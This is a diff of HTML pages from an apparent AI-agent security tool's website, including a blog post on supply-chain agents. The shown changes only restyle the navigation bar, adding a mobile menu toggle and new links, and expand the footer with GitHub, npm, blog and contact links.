@@ -53,14 +53,16 @@ footer{border-top:1px solid rgba(255,255,255,.06);padding:32px 0;color:var(--gra
53
53
  <body>
54
54
 
55
55
  <nav>
56
- <div class="inner">
57
- <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
58
- <div class="nav-links">
59
- <a href="/">Home</a>
60
- <a href="/blog/">Blog</a>
61
- <a href="https://github.com/darfaz/clawmoat">GitHub</a>
62
- </div>
56
+ <div class="container">
57
+ <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
58
+ <button class="menu-toggle" onclick="document.querySelector('.nav-links').classList.toggle('open')" aria-label="Menu">☰</button>
59
+ <div class="nav-links">
60
+ <a href="/">Security</a>
61
+ <a href="/services/">AI Agents</a>
62
+ <a href="/blog/">Blog</a>
63
+ <a href="https://github.com/darfaz/clawmoat">GitHub ↗</a>
63
64
  </div>
65
+ </div>
64
66
  </nav>
65
67
 
66
68
  <div class="container">
@@ -189,7 +191,15 @@ if (result.blocked) {
189
191
  </div>
190
192
 
191
193
  <footer>
192
- <div>© 2026 ClawMoat. Built for the OpenClaw community. 🏰</div>
194
+ <div class="container">
195
+ <div style="display:flex;gap:24px;justify-content:center;flex-wrap:wrap;margin-bottom:16px">
196
+ <a href="https://github.com/darfaz/clawmoat" style="color:var(--gray)">GitHub</a>
197
+ <a href="https://www.npmjs.com/package/clawmoat" style="color:var(--gray)">npm</a>
198
+ <a href="/blog/" style="color:var(--gray)">Blog</a>
199
+ <a href="mailto:hello@clawmoat.com" style="color:var(--gray)">hello@clawmoat.com</a>
200
+ </div>
201
+ <p style="text-align:center;color:var(--gray);font-size:.85rem">© 2026 ClawMoat</p>
202
+ </div>
193
203
  </footer>
194
204
 
195
205
  </body>
package/docs/blog/supply-chain-agents.html CHANGED
@@ -60,14 +60,16 @@ footer{border-top:1px solid rgba(255,255,255,.06);padding:32px 0;color:var(--gra
60
60
  <body>
61
61
 
62
62
  <nav>
63
- <div class="inner">
64
- <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
65
- <div class="nav-links">
66
- <a href="/">Home</a>
67
- <a href="/blog/">Blog</a>
68
- <a href="https://github.com/darfaz/clawmoat">GitHub</a>
69
- </div>
63
+ <div class="container">
64
+ <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
65
+ <button class="menu-toggle" onclick="document.querySelector('.nav-links').classList.toggle('open')" aria-label="Menu">☰</button>
66
+ <div class="nav-links">
67
+ <a href="/">Security</a>
68
+ <a href="/services/">AI Agents</a>
69
+ <a href="/blog/">Blog</a>
70
+ <a href="https://github.com/darfaz/clawmoat">GitHub ↗</a>
70
71
  </div>
72
+ </div>
71
73
  </nav>
72
74
 
73
75
  <div class="container">
@@ -160,7 +162,15 @@ footer{border-top:1px solid rgba(255,255,255,.06);padding:32px 0;color:var(--gra
160
162
  </div>
161
163
 
162
164
  <footer>
163
- © 2026 ClawMoat. Built for the OpenClaw community. 🏰
165
+ <div class="container">
166
+ <div style="display:flex;gap:24px;justify-content:center;flex-wrap:wrap;margin-bottom:16px">
167
+ <a href="https://github.com/darfaz/clawmoat" style="color:var(--gray)">GitHub</a>
168
+ <a href="https://www.npmjs.com/package/clawmoat" style="color:var(--gray)">npm</a>
169
+ <a href="/blog/" style="color:var(--gray)">Blog</a>
170
+ <a href="mailto:hello@clawmoat.com" style="color:var(--gray)">hello@clawmoat.com</a>
171
+ </div>
172
+ <p style="text-align:center;color:var(--gray);font-size:.85rem">© 2026 ClawMoat</p>
173
+ </div>
164
174
  </footer>
165
175
  </body>
166
176
  </html>